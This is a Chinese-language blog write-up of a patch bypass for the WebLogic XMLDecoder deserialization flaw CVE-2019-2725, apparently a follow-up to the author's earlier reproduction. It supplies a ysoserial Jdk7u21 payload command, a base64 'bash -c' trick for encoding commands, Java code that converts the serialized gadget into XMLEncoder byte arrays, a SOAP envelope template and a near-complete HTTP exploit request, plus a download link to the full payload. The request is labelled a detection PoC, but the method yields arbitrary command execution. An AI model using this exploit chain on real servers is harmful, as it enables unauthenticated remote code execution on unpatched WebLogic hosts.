前言
上一篇,对CNVD-C-2019-48814 完成了一个复现 https://www.jianshu.com/p/c4982a845f55,当然现在CNVD-C-2019-48814有了官方 CVE 编号了,我们可以叫它CVE-2019-2725 。其实,上一次的复现的主要 Payload 基于 CVE-2017-10271 。它们都是基于 XMLDecoder 进行反序列化的。只不过上一次的漏洞组件和这一次的组件不一致。也就导致了,很多打过 CVE-2017-10271 补丁的 Weblogic 是可以防御 CVE-2019-2725 的 Payload 攻击的。
绕过环境
1.CentOS7 2.Weblogic 10.3.6 with Patch p27395085_1036_Generic 3.JDK 1.7(7u21)环境检测
1.打过补丁的 Weblogic10.3.6


绕过原理
根据今天云影实验室发的文章,我们不难看出 Oracle 官方将 object、new、method 关键字继续加入到黑名单中,并不会对 byte 相关属性进行屏蔽,这也就导致了可以使用 byte 流配合 UnitOfWorkChangeSet 加上 JDK7U21 原生的反序列化漏洞进行完美绕过。而 Weblogic 安装包中默认 SDK 为 1.6 版本,所以当被攻击机的 JDK 版本 <=JDK7u21 就存在原生反序列化漏洞。相关情况可参考文末的参考链接。绕过方法
既然 JDK7U21 存在原生反序列化漏洞,那么我们绝对少不了 ysoserial 它的功劳。在 ysoserial 中就已经提供好了 JDK7U21 的 payload
java -jar ysoserial.jar Jdk7u21 "需要执行的命令" > payload.txt
注意:这里生成 payload 包时,执行的命令需要进行 Java Runtime 转义
例如ls
应该转义为bash -c {echo,bHM=}|{base64,-d}|{bash,-i}
生成以后,利用 Java 读取文件反序列化成 java 对象,再读取他的字节码,最后让 xmlEncoder 转成 xml 格式。 下面给出部分参考代码参考自浅蓝
public class Payload{
public static void main(String[] args) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("payload.txt"));
Object o = objectInputStream.readObject();
byte[] bytes = ObjectToByte(o);
objectXmlEncoder(bytes , "payload.xml");
}
private static byte[] ObjectToByte(Object obj) {
byte[] bytes = null;
try {
// object to bytearray
ByteArrayOutputStream bo = new ByteArrayOutputStream();
ObjectOutputStream oo = new ObjectOutputStream(bo);
oo.writeObject(obj);
bytes = bo.toByteArray();
bo.close();
oo.close();
} catch (Exception e) {
System.out.println("translation" + e.getMessage());
e.printStackTrace();
}
return bytes;
}
public static void objectXmlEncoder(Object obj,String fileName)
throws FileNotFoundException,IOException,Exception
{
java.io.File file = new java.io.File(fileName);
if(!file.exists()){
file.createNewFile();
}
java.io.BufferedOutputStream oop = new java.io.BufferedOutputStream(new java.io.FileOutputStream(file));
java.beans.XMLEncoder xe = new java.beans.XMLEncoder(oop);
xe.flush();
//写入xml
xe.writeObject(obj);
xe.close();
oop.close();
}
}
最后我们拼接报文,即可得到完整报文,以下为报文模板
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><class><string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string><void>
需要拼接的部分</void></class>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>
由于该漏洞危害性很大,且还有很多厂商至今并没有打CVE-2019-2725的补丁,所以只放出漏洞检测POC
POC
0.报文预览
POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.50.129:7001
Content-Length: 128564
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><class><string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string><void><array class="byte" length="3131"><void index="0"><byte>-84</byte></void><void index="1"><byte>-19</byte></void><void index="2"><byte>0</byte></void><void index="3"><byte>5</byte></void><void index="4"><byte>115</byte></void><void index="5"><byte>114</byte></void><void index="6"><byte>0</byte></void><void index="7"><byte>23</byte></void><void index="8"><byte>106</byte></void><void index="9"><byte>97</byte></void><void index="10"><byte>118</byte></void><void index="11"><byte>97</byte></void><void index="12"><byte>46</byte></void><void index="13"><byte>117</byte></void><void index="14"><byte>116</byte></void><void index="15"><byte>105</byte></void><void index="16"><byte>108</byte></void><void index="17"><byte>46</byte></void><void index="18"><byte>76</byte></void><void index="19"><byte>105</byte></void><void index="20"><byte>110</byte></void><void index="21"><byte>107</byte></void><void index="22"><byte>101</byte></void><void index="23"><byte>100</byte></void><void index="24"><byte>72</byte></void><void index="25"><byte>97</byte></void><void index="26"><byte>115</byte></void><void index="27"><byte>104</byte></void><void index="28"><byte>83</byte></void><void index="29"><byte>101</byte></void><void index="30"><byte>116</byte></void><void index="31"><byte>-40</byte></void><void index="32"><byte>108</byte></void><void index="33">
此处省略
</class></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>
2.报文 Payload 核心命令
#Java Runtime转义前
echo "test by Shimizu Kawasaki" > servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/qs.txt
#Java Runtime转义后
bash -c {echo,ZWNobyAidGVzdCBieSBTaGltaXp1IFNhd2FnYWtpIiA+IHNlcnZlcnMvQWRtaW5TZXJ2ZXIvdG1wL19XTF9pbnRlcm5hbC9iZWFfd2xzOV9hc3luY19yZXNwb25zZS84dHBreXMvd2FyL3FzLnR4dA==}|{base64,-d}|{bash,-i}
3.访问 POC
http://192.168.50.129:7001/_async/qs.txt
(PS:清水川崎在日语里面读法的罗马字写做 Shimizu Kawasaki)
参考链接
- 云影实验室: Weblogic 反序列化远程代码执行漏洞(CVE-2019-2725)分析报告
- 浅蓝 WebLogic wls9-async 反序列化漏洞
- [button url="https://pan.baidu.com/s/1iQxOD09AJ0plI3xNoSi9hw" types="down"]完整报文[/button] 提取码: butn (报文太长了,这里提供一个下载链接)